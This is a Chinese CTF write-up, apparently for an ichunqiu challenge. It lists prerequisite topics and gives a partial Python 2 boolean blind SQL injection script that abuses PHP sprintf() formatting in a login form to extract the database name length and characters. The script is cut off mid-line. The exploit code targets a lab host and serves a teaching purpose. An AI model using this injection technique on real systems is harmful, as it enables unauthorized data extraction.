0x01
本题所需知识清单:
1.php sprintf()函数漏洞:https://blog.youkuaiyun.com/WQ_BCJ/article/details/85057447
2.布尔盲注基本playload及流程:https://blog.youkuaiyun.com/WQ_BCJ/article/details/84592445
3.Burpsuit Intruder暴力猜解:https://blog.youkuaiyun.com/snert/article/details/49749757
4.盲注python(2)脚本:
#coding:utf-8
import requests
import string
def boom():
url = r'http://10adf3af0baf4f6389bc0eed2495da87fd5e4464bed344e9.game.ichunqiu.com/'
s = requests.session()
#会话对象requests.Session能够跨请求地保持某些参数,比如cookies,即在同一个Session实例发出的所有请求都保持同一个cookies,而requests模块每次会自动处理cookies,这样就很方便地处理登录时的cookies问题。
dic = string.digits + string.letters + "!@#$%^&*()_+{}-="
right = 'password error!'
error = 'username error!'
lens = 0
i = 0
#确定当前数据库的长度
while True:
payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"
data={'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens=i
break
i+=1
pass
print("[+]length(database()): %d" %(lens))
#确定当前数据库的名字
strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) +